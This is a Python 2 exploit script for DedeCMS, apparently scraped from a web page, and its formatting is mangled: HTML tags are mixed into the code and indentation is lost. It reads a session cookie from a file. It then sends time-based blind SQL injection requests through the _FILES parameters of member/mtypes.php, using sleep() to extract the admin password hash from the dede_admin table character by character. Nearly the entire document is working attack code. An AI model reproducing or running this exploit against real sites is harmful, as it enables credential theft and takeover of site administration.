def getCookes():
line = open('cookies.txt','r')
c = line.readline()
line.close()
return c<\/p>

cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'<\/p>

def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"\/member\/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20'<\/code>.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx" start_time = time.time() try: req = urllib2.Request(s) req_data=opener.open(req,timeout=20) now = time.strftime('%H:%M:%S',time.localtime(time.time())) if time.time() - start_time > 4.0: password = password+p print "["+str(now)+"]: "+s1+" -> "+password except urllib2.URLError,e: print e; return password def myhelp(): print "\n+------------------------------+" print "| Dedecms 20150618 member sqli|" print "| mOon www.moonsec.com |" print "| MTEAM:moon@moonsec.com |" print "+------------------------------+\n"<\/p>

def main(): if len(sys.argv)< 2: myhelp() sys.exit() now = time.strftime('%H:%M:%S',time.localtime(time.time())) print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.." print "password is %s" % (exploite(sys.argv[1]))<\/p>

if name<\/strong> == 'main<\/strong>': main() <\/p>